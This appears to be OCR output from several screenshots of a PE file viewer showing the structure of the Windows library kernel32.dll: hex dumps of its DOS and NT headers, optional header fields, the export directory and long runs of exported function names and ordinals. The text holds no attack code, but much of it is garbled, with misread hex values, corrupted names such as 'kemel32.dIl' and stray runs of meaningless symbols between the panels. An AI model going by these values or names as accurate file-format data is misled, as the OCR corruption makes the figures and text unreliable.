44 TE E3 A5 45 06 76 A5
44 TE F2 A5 AE 06 76 A5
44 TE ET A5 4C 06 76 AS
00 00 00 00 00 00 00 00

50 45 00 00 4C 01 04 00 ...

00 00 00 00 EO 00 02 21

00 00 03 00 00 00 00 00 .

00 00 0D 00 00 00 D6 7D
06 00 01 00 06 00 01 00
00 00 11 00 00 00 01 00

is program canno
t be run in DOS

mode. $
.g. .M.v.M.v.M.v
D~..|.v.Mw.>. v
D lioviDes JEsx
Pl vabes O ¥
Bl LoV

ichM.v.

00 00 04 00 00 10 00 00 ...

00 00 00 00 10 00 00 00
24 A3 0C 00 F4 01 00 00

00 00 00 00 00 00 00 00 .

00 00 10 00 9C AD 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
96 07 0C 00 00 00 01 00
00 00 00 00 00 00 00 00
2E 64 61 74 61 00 00 00
00 00 01 00 00 00 OE 00
00_00 00 a0 A0 00 an Cn

238l aP A®AYyRS

A AYlI 2Pyl
AYFL2 NI SNAYRS{A
RNt Ny KFF¥PI &l

-

R
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R
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file View Go Help
20000 | wE*#|[E= =
|| =-kemel32.dIl pView Data Description Value
l -IMAGE_DOS_HEADER 00000000 5AD  Signature IMAGE_DOS_SIGNATURE MZ
1~ MS-DOS Stub Program 00000002 0090 Bytes on Last Page of File '
@ IMAGE_NT_HEADERS 00000004 0003  Pages in File
IMAGE_SECTION_HEADER text 0000 i
- IMAGE_SECTION_HEADER .data 00000008 0004 Size of Header in Paragraphs
i~ IMAGE_SECTION_HEADER rsrc 0000000A 0000 Minimum Extra Paragraphs
; IMAGE_SECTION_HEADER _reloc 0000000C FFFF Maximum Extra Paragraphs
- SECTION text 0000000E 0000 Initial (relative) SS
- SECTION .data 00000010 00B8 Initial SP
- SECTION .rsrc 00000012 0000  Checksum
& SECTION _reloc 00000014 0000 Initial IP
00000016 0000 Initial (relative) CS
00000018 0040 Offset to Relocation Table
0000001A 0000 Overlay Number
0000001C 0000  Reserved
0000001E 0000  Reserved
00000020 0000  Reserved
00000022 0000  Reserved
00000024 0000  OEM Identifier
00000026 0000 OEM Information
00000028 0000  Reserved
0000002A 0000 Reserved
0000002C 0000  Reserved
0000002E 0000  Reserved
00000030 0000 Resenved
00000032 0000  Reserved
00000034 0000  Reserved
00000036 0000 Reserved
00000038 0000  Reserved
0000003A 0000 Reserved
0000003C 000000E8  Offset to New EXE Header
Wg‘gg IMAGE_DOS_HEADER

Tt 1
RSESNAYA

L P - i

PAI DD Y5h{ pl 9! 59w

9 aol/ ¢
A Ay

FflFyPYyRE |
odzf I f PY® YSNYStoHndRE

S¢g oAl
aPef |

7

file View Go Help
20000 | wE*#|[E= =
|| =-kemel32.dIl pView Data Description Value -
l IMAGE_DOS_HEADER 0000001C  7DD60000 Image Base
MS-DOS Stub Program 00000020 00010000  Section Alignment l
= IMAGE_NT_HEADERS 00000024 00010000  File Alignment
Signature 00000028 0006 Major O/S Version
~IMAGE_FILE_HEADER 0000002A 0001 Minor O/S Version
'~ IMAGE_OPTIONAL_HEADER 0000002C 0006 Major Image Version
IMAGE_SECTION_HEADER _text 0000002E 0001 Minor Image Version
IMAGE_SECTION_HEADER .data 00000030 0006 Major Subsystem Version
IMAGE_SECTION_HEADER .rsrc 00000032 0001 Minor Subsystem Version
IMAGE_SECTION_HEADER “reloc 00000034 00000000 Win32 Version Value
- SECTION text 00000038 00110000  Size of Image
SECTION .data 0000003C 00010000  Size of Headers
o- SECTION .rsrc 001105AE  Check:
£ SECTION _reloc 00000044 0003 Subsystem IMAGE_SUBSYSTEM_WINDOWS_CUI
00000046 0140 DLL Characteristics
0040 IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
0100 IMAGE_DLLCHARACTERISTICS_NX_COMPAT
00000048 00040000 ~ Size of Stack Reserve
0000004C 00001000  Size of Stack Commit
00000050 00100000  Size of Heap Reserve
00000054 00001000  Size of Heap Commit
00000058 00000000 Loader Flags
0000005C 00000010 _ Number of Data Directories
00000060 000BFF70 RVA EXPORT Table
00000064 0000A9B1 Si
00000068  000CA924 RVA IMPORT Table
0000006C 000001F4 _ Size
00000070 000F0000 RVA RESOURCE Table
00000074 00000528 _Size
00000078 00000000 RVA EXCEPTION Table
0000007C Size
00000080 00000000 Offset CERTIFICATE Table
00000084 00000000 _ Size
00000088 00100000 RVA BASE RELOCATION Table
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file View Go Help
20000 =@z #E==
|| ©-kemel32.dIl pView Data Description Value
N IMAGE_DOS_HEADER Cl isti
MS-DOS Stub Program 00000004  53158AB2 Time Date Stamp 2014/03/04 Sal 08:11:30 UTC '
= IMAGE_NT_HEADERS 00000008 0000 Major Version
Signature 0000000A 0000 Minor Version
IMAGE_FILE_HEADER 0000000C 000C34E0 Name RVA KERNEL32.dll
- IMAGE_OPTIONAL_HEADER 00000010 00000001 Ordinal Base
- IMAGE_SECTION_HEADER text 00000014 00000554 Number of Functions
IMAGE_SECTION_HEADER .data 00000018 00000554 Number of Names
IMAGE_SECTION_HEADER .rsrc 0000001C  000BFF98 Address Table RVA
IMAGE_SECTION_HEADER reloc 00000020, DOOC14E8 Name Pointer Table RVA Il
= SECTION text 00000024 000C2A38 Ordinal Table RVA

IMPORT Address Table
IMAGE_LOAD_CONFIG_DIRECTORY
- IMAGE_EXPORT_DIRECTORY
~ EXPORT Address Table
~ EXPORT Name Pointer Table
+~ EXPORT Ordinal Table
~ EXPORT Names
IMPORT Directory Table
\~IMPORT DLL Names
'~ IMPORT Name Table
- IMPORT Hints/Names
'~ IMAGE_DEBUG_DIRECTORY
-IMAGE_DEBUG_TYPE_RESERVED10
- IMAGE_DEBUG_TYPE_CODEVIEW
-SECTION .data
SECTION .rsrc
@ SECTION .reloc

Wg'ég IMAGE_EXPORT_DIRECTORY
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file View Go Help
20000 =B #|E==
|| = kemel32.dll pView Data Description Value -
u IMAGE_DOS_HEADER 0000141C ~ 000C98D9 Function Name RVA 0508 WakeC: > NTDLL RtiWakeC i
MS-DOS Stub Program 00001420 000C98EF  Function Name RVA 0509 WerGetFlags
& IMAGE_NT_HEADERS 00001424  000C98FB Function Name RVA  050A WerRegisterFile
Signature 00001428 000C990B Function Name RVA  050B WerRegisterMemoryBlock
- IMAGE_FILE_HEADER 0000142C 000C9922 Function Name RVA  050C WerRegisterRuntimeExceptionModule
IMAGE_OPTIONAL_HEADER 00001430 000C9944 Function Name RVA 050D WerSetFlags
~IMAGE_SECTION_HEADER text 00001434 000C9950 Function Name RVA  050E WerUnregisterFile
-IMAGE_SECTION_HEADER .data 00001438  000C9962 Function Name RVA  050F WerUnregisterMemoryBlock
IMAGE_SECTION_HEADER .rsrc 0000143C ~ 000C997B Function Name RVA 0510 WerUnregi: i i
IMAGE_SECTION_HEADER .reloc 00001440 000C999F Function Name RVA 0511 WerpCleanupMessageMapping
- SECTION text 00001444 000C99B9 Function Name RVA 0512 WerplnitiateRemoteRecovery
IMPORT Address Table 00001448 000C99D4 Function Name RVA 0513 WerpNotifyl oadStringResource
~IMAGE_LOAD_CONFIG_DIRECTORY 0000144C  000C99F1 Function Name RVA 0514 WerpNotifyL oadStringResourceEx
- IMAGE_EXPORT_DIRECTORY 00001450  000C9A10 Function Name RVA 0515 WerpNotifyUseStringResource
— EXPORT Address Table 00001454  000C9A2C Function Name RVA 0516 WerpStringLookup
—EXPORT Name Pointer Table 00001458  000C9A3D Function Name RVA 0517 WideCharToMultiByte
~ EXPORT Ordinal Table lame RVA
i~ EXPORT Names 00001460  000C9A59 Function Name RVA 0519 Wow64DisableWowb4FsRedirection
1~ IMPORT Directory Table 00001464 000C9A78 Function Name RVA  051A Wow64EnableWowB4FsRedirection
IMPORT DLL Names 00001468 000C9A96 Function Name RVA  051B Wow64GetThreadContext
- IMPORT Name Table 0000146C  000CIAAC Function Name RVA  051C WowB4GetThreadSelectorEntry
IMPORT Hints/Names 00001470  000C9ACB Function Name RVA 051D Wow64RevertWow64FsRedirection
i~ IMAGE_DEBUG_DIRECTORY 00001474  000C9AE6 Function Name RVA  051E Wow64SetThreadContext
~IMAGE_DEBUG_TYPE_RESERVED10 00001478  000CSAFC Function Name RVA  051F Wow64SuspendThread
- IMAGE_DEBUG_TYPE_CODEVIEW 0000147C ~ 000C9BOF Function Name RVA 0520 WriteConsoleA
SECTION .data 00001480 000C9B1D Function Name RVA 0521 WriteConsolelnputA
SECTION .rsrc 00001484 000C9B30 Function Name RVA 0522 WriteConsolelnputVDMA
1 SECTION _reloc 00001488 000C9B46 Function Name RVA 0523 WriteConsolelnputVDMW
0000148C 000C9B5C Function Name RVA 0524 WriteConsolelnputW
00001430 000C9B6F  Function Name RVA 0525 WriteConsoleOutputA
00001434 000C9B83 Function Name RVA 0526 WriteConsoleOutputAttribute
00001498  000C9BIF Function Name RVA 0527 WriteConsoleOutputCharacterA B
0000149C  000C9BBC Function Name RVA 0528 WriteConsoleQutputCharacterV'
‘nlnnnuAn NNNCIRNG_Function Name RVA __N52Q_ WritaCansnlaOt it W, _ 1 e
g‘gg EXPORT Name Pointer Table
~ = A = - o e r - 4 -
5FKE &2y N} 9ELRNI hNRAYIE ¢lof2adzyRF O01A o0dz GFof
= A r r v A A LA w A
IMAGE_EXPwC¢ 5L w9/ ¢hw, QRS [ 9 aHné 2FFaSu0QuS eSNJItF
>~ — ~
. dz l RRNBaa ¢lFof2adzy Rl wzx! RS € ¢S

©

R
ePi aPNI

y dzY I

SESNIOATS 9-thwt
y NI aPyP OSNBPEPY P

aPNJ} &PYRI A

RSESNAY 19 pwmt 2f Rdze£

dizy @A NI+ @y dzYPRY MY th NG

dzy'dz 31 N

::

" IMAGE_LOAD_CONFIG_DIRECTORY
- IMAGE_EXPORT_DIRECTORY
-~ EXPORT Address Table
—EXPORT Name Pointer Table
~ EXPORT Ordinal Table
EXPORT Names
- IMPORT Directory Table
' IMPORT DLL Names
- IMPORT Name Table
- IMPORT Hints/Names
'~ IMAGE_DEBUG_DIRECTORY
~IMAGE_DEBUG_TYPE_RESERVED10
- IMAGE_DEBUG_TYPE_CODEVIEW
SECTION .data
SECTION .rsrc
1 SECTION _reloc

le View Go Help
20000 |sE*H|[E==
|| =-kemel32.dIl pView Data Description Value -
u IMAGE_DOS_HEADER 00000A18 050C Function Ordinal 050D WerSetFlags
MS-DOS Stub Program 00000A1A 050D Function Ordinal 050E WerUnregisterFile
= IMAGE_NT_HEADERS 00000A1C 050E Function Ordinal 050F WerUnregisterMemoryBlock
Signature 00000A1E 050F Function Ordinal 0510 Werl i { i
IMAGE_FILE_HEADER 00000A20 0510 Function Ordinal 0511 WerpCleanupMessageMapping
'~ IMAGE_OPTIONAL_HEADER 00000A22 0511 Function Ordinal 0512 WerplnitiateRemoteRecovery
IMAGE_SECTION_HEADER _text 00000A24 0512 Function Ordinal 0513 WerpNotifyLoadStringResource
IMAGE_SECTION_HEADER .data 00000A26 0513 Function Ordinal 0514 WerpNotifyLoadStringResourceEx
IMAGE_SECTION_HEADER .rsrc 00000A28 0514 Function Ordinal 0515 WerpNotifyUseStringResource
IMAGE_SECTION_HEADER “reloc 00000A2A 0515 Function Ordinal 0516 WerpStringLookup
- SECTION text 00000A2C 0516 Function Ordinal 0517 WideCharToMultiByte
IMPORT Address Table 00000A2E Function Ordinal 0518 WinExec

00000A30 0518 nction Ordinal 0519 WowB4DisableWowB4FsRedirection

00000A32 0519 unction Ordinal 051A Wow64EnableWowB4FsRedirection

00000A34 051A Function Ordinal 0518 Wow64GetThreadContext

00000A36 0518 Function Ordinal 051C Wow64GetThreadSelectorEntry

00000A38 051C Function Ordinal 051D Wow64RevertWowb4FsRedirection

00000A3A 051D Function Ordinal 051E Wow64SetThreadContext

00000A3C 051E Function Ordinal 051F Wow64SuspendThread

00000A3E 051F Function Ordinal 0520 WriteConsoleA

00000A40 0520 Function Ordinal 0521 WriteConsolelnputA

00000A42 0521 Function Ordinal 0522 WriteConsolelnputVDMA

00000A44 0522 Function Ordinal 0523 WriteConsolelnputVDMW

00000A46 0523 Function Ordinal 0524 WriteConsolelnputW

00000A48 0524 Function Ordinal 0525 WriteConsoleOutputA

00000A4A 0525 Function Ordinal 0526 WriteConsoleOutputAttribute

00000A4C 0526 Function Ordinal 0527 WriteConsoleQutputCharacterA

00000A4E 0527 Function Ordinal 0528 WriteConsoleOutputCharacter'V

00000A50 0528 Function Ordinal 0529 WriteConsoleOutputW

00000A52 0529 Function Ordinal 052A WriteConsoleW

00000A54 052A Function Ordinal 0528 WriteFile

00000A56 0528 Function Ordinal 052C WriteFileEx W) |
00000A58 052C  Function Ordinal 052D WriteFileGather 11}
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